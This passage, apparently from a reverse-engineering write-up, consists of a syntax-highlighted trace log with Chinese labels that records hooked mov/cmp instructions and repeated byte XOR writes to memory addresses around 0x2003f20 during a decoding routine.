class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3a ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1001180]</span> MEM<span class="selector-attr">[0x2003f3b]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3b ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1001180]</span> MEM<span class="selector-attr">[0x2003f3c]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3c ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1001180]</span> MEM<span class="selector-attr">[0x2003f3d]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3d ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x64</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000a50: mov esi, <span class="number">0</span>x16</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a64]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01000a6a: cmp esi, <span class="number">0</span>x2d</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a64]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a64]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a64]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a64]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a64]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a64]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a64]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a64]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a64]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a64]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a64]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a64]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a64]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a64]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a64]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a64]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a64]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a64]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a64]</span> MEM<span class="selector-attr">[0x2003f33]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a64]</span> MEM<span class="selector-attr">[0x2003f34]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a64]</span> MEM<span class="selector-attr">[0x2003f35]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a64]</span> MEM<span class="selector-attr">[0x2003f36]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x5A</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x010004e9: mov esi, <span class="number">0</span>x4</span><br><span class="line"><span class="selector-attr">[XOR @0x10004fd]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01000503: cmp esi, <span class="number">0</span>x9</span><br><span class="line"><span class="selector-attr">[XOR @0x10004fd]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x10004fd]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x10004fd]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x10004fd]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x3A</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000965: mov esi, <span class="number">0</span>x2</span><br><span class="line"><span class="selector-attr">[XOR @0x1000979]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x0100097f: cmp esi, <span class="number">0</span>x5</span><br><span class="line"><span class="selector-attr">[XOR @0x1000979]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000979]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x04</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000c48: mov esi, <span class="number">0</span>xa</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000c4d: mov esi, <span class="number">0</span>x2f</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01000c63: cmp esi, <span class="number">0</span>x15</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x26</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x0100087a: mov esi, <span class="number">0</span>x9</span><br><span class="line"><span class="selector-attr">[XOR @0x100088e]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01000894: cmp esi, <span class="number">0</span>x13</span><br><span class="line"><span class="selector-attr">[XOR @0x100088e]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x100088e]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x100088e]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x100088e]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x100088e]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x100088e]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x100088e]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x100088e]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x100088e]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x35</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000b35: mov esi, <span class="number">0</span>x24</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b49]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01000b4f: cmp esi, <span class="number">0</span>x49</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b49]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b49]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b49]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b49]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b49]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b49]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b49]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b49]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b49]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b49]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b49]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b49]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b49]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b49]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b49]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b49]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b49]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b49]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b49]</span> MEM<span class="selector-attr">[0x2003f33]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span 